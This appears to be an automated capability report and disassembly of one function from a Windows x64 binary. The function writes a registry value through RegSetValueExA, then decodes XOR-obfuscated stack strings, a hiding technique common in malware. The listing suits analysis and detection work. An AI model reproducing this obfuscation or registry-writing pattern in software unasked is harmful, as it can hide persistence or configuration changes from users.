Function at 0x7ff787149060
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, rdx
mov dword [rbp + 0x30], 1
mov rdx, qword [rcx]
cmp qword [rdx + 0x18], 0xf
jbe 0x7ff787149099
mov rdx, qword [rdx]
lea rcx, [rbp + 0x30]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
movdqa xmm1, xmmword [0x7ff78744d4d0]
mov dl, 0x4b
movd r11d, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x7ff78744dad0]
mov r8b, 0x5c
movdqa xmm3, xmmword [0x7ff78744d3e0]
mov cl, 0x7d
movdqu xmmword [rbp - 0x30], xmm2
xor byte [rbp - 0x2f], r11b
mov r9b, 0x58
xor byte [rbp - 0x2e], r11b
mov r10b, 0x47
xor byte [rbp - 0x2d], r11b
mov bl, 0x4d
xor byte [rbp - 0x2c], r11b
movzx edi, dl
xor byte [rbp - 0x2b], r11b
mov sil, 0xe
xor byte [rbp - 0x2a], r11b
mov r14b, 3
xor byte [rbp - 0x29], r11b
mov r15b, 0x68
xor byte [rbp - 0x28], r11b
mov r12b, 0x41
xor byte [rbp - 0x27], r11b
movzx r13d, r8b
xor byte [rbp - 0x26], r11b
xor byte [rbp - 0x25], r11b
xor byte [rbp - 0x24], r11b
xor byte [rbp - 0x23], r11b
xor byte [rbp - 0x22], r11b
xor byte [rbp - 0x21], r11b
movdqu xmmword [rbp - 0x20], xmm3
xor byte [rbp - 0x1f], r11b
xor byte [rbp - 0x1e], r11b
xor byte [rbp - 0x1d], r11b
xor byte [rbp - 0x1c], r11b
xor byte [rbp - 0x1b], r11b
xor byte [rbp - 0x1a], r11b
xor byte [rbp - 0x19], r11b
xor byte [rbp - 0x18], r11b
xor byte [rbp - 0x17], r11b
xor byte [rbp - 0x16], r11b
xor byte [rbp - 0x15], r11b
xor byte [rbp - 0x14], r11b
xor byte [rbp - 0x13], r11b
xor byte [rbp - 0x12], r11b
movdqu xmmword [rbp - 0x40], xmm1
xor byte [rbp - 0x3e], r11b
xor byte [rbp - 0x3d], r11b
xor byte [rbp - 0x3c], r11b
xor byte [rbp - 0x3b], r11b
xor byte [rbp - 0x3a], r11b
xor byte [rbp - 0x39], r11b
xor byte [rbp - 0x38], r11b
xor byte [rbp - 0x37], r11b
xor byte [rbp - 0x36], r11b
xor byte [rbp - 0x35], r11b
xor byte [rbp - 0x34], r11b
xor byte [rbp - 0x33], r11b
xor byte [rbp - 0x32], r11b
xor byte [rbp - 0x31], r11b
psrldq xmm0, 1
movd eax, xmm0
xor al, r11b
mov byte [rbp - 0x3f], al
movd eax, xmm2
xor al, r11b
mov byte [rbp - 0x30], al
movd eax, xmm3
xor al, r11b
xor byte [rbp - 0x11], r11b
mov byte [rbp - 0x20], al
movdqa xmm1, xmmword [0x7ff78744d350]
xor cl, r11b
movdqu xmmword [rbp - 0x50], xmm1
mov al, 0x4d
mov byte [rbp - 0x10], cl
movd ecx, xmm1
xor al, r11b
mov byte [rbp - 4], al
xor dl, r11b
mov al, 0x4b
mov byte [rbp - 0xf], dl
xor byte [rbp - 0x4e], cl
lea rdx, [rbp - 0x3f]
xor byte [rbp - 0x4d], cl
xor al, r11b
xor byte [rbp - 0x4c], cl
movdqa xmm0, xmm1
xor byte [rbp - 0x4b], cl
xor r8b, r11b
xor byte [rbp - 0x4a], cl
xor r9b, r11b
xor byte [rbp - 0x49], cl
xor r10b, r11b
xor byte [rbp - 0x48], cl
xor bl, r11b
xor byte [rbp - 0x47], cl
xor dil, r11b
xor byte [rbp - 0x46], cl
xor sil, r11b
xor byte [rbp - 0x45], cl
xor r14b, r11b
xor byte [rbp - 0x44], cl
xor r15b, r11b
xor byte [rbp - 0x43], cl
xor r12b, r11b
xor byte [rbp - 0x42], cl
xor r13b, r11b
mov byte [rbp - 3], al
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0xe], r8b
mov byte [rbp - 0xd], r9b
xor al, cl
mov byte [rbp - 0xc], r10b
lea rcx, [rbp - 0x4f]
mov byte [rbp - 0x4f], al
mov byte [rbp - 0xb], bl
mov byte [rbp - 0xa], dil
mov byte [rbp - 9], sil
mov byte [rbp - 8], r14b
mov byte [rbp - 7], r15b
mov byte [rbp - 6], r12b
mov byte [rbp - 5], r13b
mov byte [rbp - 2], 0
mov byte [rbp - 0x41], 0
call fcn.7ff78712eb90
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret